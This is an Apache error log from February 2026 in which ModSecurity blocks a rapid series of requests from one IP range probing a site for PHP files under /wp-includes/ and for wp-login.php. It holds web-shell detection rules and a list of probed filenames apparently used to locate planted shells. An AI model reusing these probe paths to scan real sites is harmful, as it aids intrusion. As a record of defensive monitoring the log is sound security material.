[Tue Feb 24 02:47:08.600437 2026] [:error] [pid 60063:tid 60078] [client 37.140.254.135:38223] [client 37.140.254.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aZygrE_6t1uQomVVdUOLmwAAAQ0"]
[Tue Feb 24 02:47:10.037505 2026] [:error] [pid 60063:tid 60088] [client 37.140.254.132:37889] [client 37.140.254.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aZygrk_6t1uQomVVdUOLowAAARc"]
[Tue Feb 24 02:47:10.702656 2026] [:error] [pid 29289:tid 29302] [client 37.140.254.174:52729] [client 37.140.254.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aZygrvSAX3I9FAhm7jnRpAAAAAk"]
[Tue Feb 24 02:47:11.240023 2026] [:error] [pid 29424:tid 29436] [client 37.140.254.117:61311] [client 37.140.254.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.254.117, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aZygr_gElGDq6B8YX7B7DAAAAMo"]
[Tue Feb 24 02:47:11.253068 2026] [proxy_fcgi:error] [pid 29424:tid 29436] [client 37.140.254.117:61311] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 02:47:11.566645 2026] [:error] [pid 29424:tid 29449] [client 37.140.254.117:61311] [client 37.140.254.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aZygr_gElGDq6B8YX7B7DgAAANc"]
[Tue Feb 24 02:47:13.007335 2026] [:error] [pid 29424:tid 29432] [client 37.140.254.149:24663] [client 37.140.254.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aZygsfgElGDq6B8YX7B7FQAAAMY"]
[Tue Feb 24 02:47:13.571091 2026] [:error] [pid 29424:tid 29447] [client 37.140.254.158:34625] [client 37.140.254.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "aZygsfgElGDq6B8YX7B7GQAAANU"]
[Tue Feb 24 02:47:16.573292 2026] [:error] [pid 29289:tid 29312] [client 37.140.254.120:57301] [client 37.140.254.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aZygtPSAX3I9FAhm7jnRrwAAABM"]
[Tue Feb 24 02:47:17.351766 2026] [:error] [pid 60063:tid 60080] [client 37.140.254.144:23583] [client 37.140.254.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aZygtU_6t1uQomVVdUOLpwAAAQ8"]
[Tue Feb 24 02:47:18.503185 2026] [:error] [pid 29290:tid 29366] [client 37.140.254.158:56045] [client 37.140.254.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aZygtiURJ6Xg7pEW8XYpMAAAAEk"]
[Tue Feb 24 02:47:19.058881 2026] [:error] [pid 29290:tid 29370] [client 37.140.254.138:38863] [client 37.140.254.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "aZygtyURJ6Xg7pEW8XYpMQAAAEw"]
[Tue Feb 24 02:47:19.724638 2026] [proxy_fcgi:error] [pid 29424:tid 29426] [client 37.140.254.130:59167] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 02:47:20.017898 2026] [:error] [pid 29424:tid 29432] [client 37.140.254.130:59167] [client 37.140.254.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.254.130, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aZyguPgElGDq6B8YX7B7KAAAAMY"]
[Tue Feb 24 02:47:20.600075 2026] [:error] [pid 29424:tid 29436] [client 37.140.254.130:59167] [client 37.140.254.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aZyguPgElGDq6B8YX7B7LAAAAMo"]
[Tue Feb 24 02:47:22.368942 2026] [:error] [pid 60063:tid 60077] [client 37.140.254.151:58699] [client 37.140.254.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aZyguk_6t1uQomVVdUOLxQAAAQw"]
[Tue Feb 24 02:47:23.308011 2026] [:error] [pid 29289:tid 29301] [client 37.140.254.167:55317] [client 37.140.254.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aZygu_SAX3I9FAhm7jnRswAAAAg"]
[Tue Feb 24 02:47:25.034426 2026] [:error] [pid 29424:tid 29427] [client 37.140.254.117:46467] [client 37.140.254.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aZygvfgElGDq6B8YX7B7MgAAAME"]
[Tue Feb 24 02:47:26.623121 2026] [:error] [pid 29424:tid 29446] [client 37.140.254.119:24339] [client 37.140.254.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aZygvvgElGDq6B8YX7B7NwAAANQ"]
[Tue Feb 24 02:47:27.885429 2026] [:error] [pid 29424:tid 29449] [client 37.140.254.114:65057] [client 37.140.254.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aZygv_gElGDq6B8YX7B7OgAAANc"]
[Tue Feb 24 02:47:29.936521 2026] [:error] [pid 29424:tid 29435] [client 37.140.254.161:28629] [client 37.140.254.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aZygwfgElGDq6B8YX7B7RQAAAMk"]
[Tue Feb 24 02:47:30.635177 2026] [:error] [pid 29290:tid 29365] [client 37.140.254.119:26209] [client 37.140.254.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "aZygwiURJ6Xg7pEW8XYpPgAAAEg"]
[Tue Feb 24 02:47:31.592282 2026] [:error] [pid 29424:tid 29449] [client 37.140.254.158:40477] [client 37.140.254.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/count.php"] [unique_id "aZygw_gElGDq6B8YX7B7SQAAANc"]
[Tue Feb 24 02:47:34.040064 2026] [:error] [pid 29424:tid 29429] [client 37.140.254.123:60349] [client 37.140.254.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aZygxvgElGDq6B8YX7B7XQAAAMM"]
[Tue Feb 24 02:47:36.245307 2026] [:error] [pid 29291:tid 29399] [client 37.140.254.146:62269] [client 37.140.254.146] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||measureyourbrand.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "measureyourbrand.com.au"] [uri "/images/stories/themes.php"] [unique_id "aZygyD2gdpbMAXIIRb2A6AAAAIw"]
[Tue Feb 24 02:47:36.630639 2026] [:error] [pid 29291:tid 29404] [client 37.140.254.146:62269] [client 37.140.254.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aZygyD2gdpbMAXIIRb2A6QAAAJA"]
[Tue Feb 24 02:47:37.770956 2026] [:error] [pid 29424:tid 29445] [client 37.140.254.123:39477] [client 37.140.254.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aZygyfgElGDq6B8YX7B7ZgAAANM"]
[Tue Feb 24 02:47:38.310747 2026] [:error] [pid 29291:tid 29407] [client 37.140.254.113:49517] [client 37.140.254.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "aZygyj2gdpbMAXIIRb2A6wAAAJM"]
[Tue Feb 24 02:47:40.848245 2026] [:error] [pid 29291:tid 29391] [client 37.140.254.144:59031] [client 37.140.254.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aZygzD2gdpbMAXIIRb2A9QAAAIQ"]
[Tue Feb 24 02:47:42.060924 2026] [:error] [pid 60063:tid 60079] [client 37.140.254.141:52907] [client 37.140.254.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aZygzk_6t1uQomVVdUOL_gAAAQ4"]
[Tue Feb 24 02:47:42.932156 2026] [:error] [pid 29290:tid 29365] [client 37.140.254.122:30291] [client 37.140.254.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aZygziURJ6Xg7pEW8XYpSgAAAEg"]
[Tue Feb 24 02:47:45.068241 2026] [:error] [pid 29424:tid 29439] [client 37.140.254.157:43071] [client 37.140.254.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aZyg0fgElGDq6B8YX7B7dgAAAM0"]
[Tue Feb 24 02:47:46.020372 2026] [:error] [pid 29289:tid 29313] [client 37.140.254.177:47183] [client 37.140.254.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/colour.php"] [unique_id "aZyg0vSAX3I9FAhm7jnR3wAAABQ"]
[Tue Feb 24 02:47:46.841493 2026] [:error] [pid 29290:tid 29382] [client 37.140.254.177:59437] [client 37.140.254.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aZyg0iURJ6Xg7pEW8XYpUQAAAFg"]
[Tue Feb 24 02:47:47.373591 2026] [:error] [pid 29290:tid 29379] [client 37.140.254.134:57479] [client 37.140.254.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aZyg0yURJ6Xg7pEW8XYpVAAAAFU"]
[Tue Feb 24 02:47:48.653351 2026] [:error] [pid 29290:tid 29376] [client 37.140.254.131:65417] [client 37.140.254.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aZyg1CURJ6Xg7pEW8XYpWwAAAFI"]
[Tue Feb 24 02:47:50.622448 2026] [:error] [pid 29290:tid 29381] [client 37.140.254.173:57731] [client 37.140.254.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aZyg1iURJ6Xg7pEW8XYpYQAAAFc"]
[Tue Feb 24 02:47:51.215542 2026] [:error] [pid 29424:tid 29448] [client 37.140.254.157:27677] [client 37.140.254.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about5.php"] [unique_id "aZyg1_gElGDq6B8YX7B7jgAAANY"]
[Tue Feb 24 02:47:53.613827 2026] [:error] [pid 60063:tid 60075] [client 37.140.254.116:23171] [client 37.140.254.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/db.php"] [unique_id "aZyg2U_6t1uQomVVdUOMDgAAAQo"]
[Tue Feb 24 02:47:55.940945 2026] [:error] [pid 60063:tid 60074] [client 37.140.254.173:24527] [client 37.140.254.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aZyg20_6t1uQomVVdUOMFgAAAQk"]
[Tue Feb 24 02:47:57.552580 2026] [:error] [pid 60063:tid 60069] [client 37.140.254.144:61567] [client 37.140.254.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aZyg3U_6t1uQomVVdUOMIQAAAQQ"]
[Tue Feb 24 02:47:58.195047 2026] [:error] [pid 60063:tid 60073] [client 37.140.254.113:39119] [client 37.140.254.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aZyg3k_6t1uQomVVdUOMIwAAAQg"]
[Tue Feb 24 02:47:59.174126 2026] [:error] [pid 60063:tid 60077] [client 37.140.254.135:27929] [client 37.140.254.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aZyg30_6t1uQomVVdUOMKgAAAQw"]
[Tue Feb 24 02:48:00.318098 2026] [:error] [pid 60063:tid 60081] [client 37.140.254.152:36925] [client 37.140.254.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aZyg4E_6t1uQomVVdUOMNAAAARA"]
[Tue Feb 24 02:48:01.792982 2026] [:error] [pid 60063:tid 60087] [client 37.140.254.140:48455] [client 37.140.254.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aZyg4U_6t1uQomVVdUOMOQAAARY"]
[Tue Feb 24 02:48:02.428695 2026] [:error] [pid 29424:tid 29442] [client 37.140.254.149:53089] [client 37.140.254.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aZyg4vgElGDq6B8YX7B7mQAAANA"]
[Tue Feb 24 02:48:03.376201 2026] [:error] [pid 29424:tid 29427] [client 37.140.254.134:52719] [client 37.140.254.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aZyg4_gElGDq6B8YX7B7nQAAAME"]
[Tue Feb 24 02:48:03.951884 2026] [:error] [pid 60063:tid 60089] [client 37.140.254.157:49999] [client 37.140.254.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "aZyg40_6t1uQomVVdUOMOwAAARg"]
[Tue Feb 24 02:48:05.168827 2026] [:error] [pid 60063:tid 60075] [client 37.140.254.141:54751] [client 37.140.254.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aZyg5U_6t1uQomVVdUOMQgAAAQo"]
[Tue Feb 24 02:48:06.083224 2026] [:error] [pid 60063:tid 60079] [client 37.140.254.130:47867] [client 37.140.254.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aZyg5k_6t1uQomVVdUOMRwAAAQ4"]
[Tue Feb 24 02:48:06.693180 2026] [:error] [pid 29291:tid 29393] [client 37.140.254.113:29077] [client 37.140.254.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aZyg5j2gdpbMAXIIRb2BDQAAAIY"]
[Tue Feb 24 02:48:07.265923 2026] [:error] [pid 60063:tid 60073] [client 37.140.254.151:43229] [client 37.140.254.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aZyg50_6t1uQomVVdUOMTAAAAQg"]
[Tue Feb 24 02:48:08.859206 2026] [:error] [pid 29290:tid 29364] [client 37.140.254.167:61131] [client 37.140.254.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aZyg6CURJ6Xg7pEW8XYpdQAAAEc"]
